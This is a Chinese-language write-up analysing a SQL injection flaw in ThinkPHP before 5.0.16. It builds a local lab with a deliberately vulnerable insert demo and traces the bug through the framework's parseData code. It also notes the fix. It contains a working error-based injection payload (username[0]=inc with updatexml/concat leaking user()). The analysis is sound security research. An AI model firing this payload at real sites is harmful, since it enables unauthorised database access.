ThinkPHP 框架 5.0.15 SQL 注入分析

前言

在thinkphp5.0.16 之前存在一个sql注入漏洞,在insert和update 方法中 传入参数可控,且无严格过滤,最终导致本次 SQL 注入漏洞发生。
条件:漏洞的利用是建立在thinkphp接受数组形式的参数的基础上,虽然这种写法在查询中非常少见,但是在更新、插入的时候还是有相应的需求的。

环境搭建与复现

thinkphp 官网下载 5.0.14 版本下载:http://www.thinkphp.cn/down/1107.html

下载访问public目录

接下来创建数据库

1
2
3
create database thinkphp;
create table user(id int auto_increment primary key,username varchar(50),password varchar(50));
insert into user(id,username,password) values(1,"test","thinkphp");

\application\database.php 中配置好数据库
同时在congfig.php中将app_debug开为true
接下来在\application\index\controller\Index.php
写一个 update 功能的 demo

1
2
3
4
5
6
7
8
9
public function index()
{
$username = input('get.username/a');
// dump($password)."<br>";
// echo(db('user')->where(['id'=>1])->update(['password'=>$password]))."<br>";
Db::table("user")->where(["id"=>1])->insert(["username"=>$username]);
//dump(Db::table('user')->where('id',1)->find());

}

1
$name = input("get.username/a");

input()为TP框架的助手函数,get.name/a 表示获取get传入的name变量,并将其强制转换为数组类型

1
Db::table("user")->where(["id"=>1])->insert(["username"=>$username]);

用来向数据库中插入数据
接下来访问

1
/public/index.php/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

漏洞分析

当输入数据

1
username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

由input()获得数据

接着调用了update()方法 在thinkphp/library/think/db/Query.php:2078

在 2094 行会调用thinkphp/library/think/db/Builder.php:720: 下的insert()

接着会调用parseData()解析数据 在/library/think/db/Builder.php:86
从101 行开始分析:

将变量赋给$key 值赋给$var 即:

1
2
$key : "username"
$val : {"inc","updatexml(1,concat(0x7,user(),0x7e),1)","1"}

当$val[0] = inc 时 将$val[1] 与 $var[2] 进行拼接
虽然调用parseKey()处理 在thinkphp/library/think/db/builder/Mysql.php:90

可见并没有什么过滤,不过在某些情况下会用反引号把字段的值包起来,可能会影响payload的构造。

floatval()是将数据转化为浮点数

接着回到 thinkphp/library/think/db/Query.php 的 insert 中:

在updata()中同样调用了parseData()函数 因此原理和利用是一样的

漏洞修复


只有当$val[1]==$key键值时才能进行拼接

参考

https://bbs.ichunqiu.com/thread-38284-1-1.html
https://xz.aliyun.com/t/2257
https://xz.aliyun.com/t/2812#toc-5
https://seaii-blog.com/index.php/2018/04/08/80.html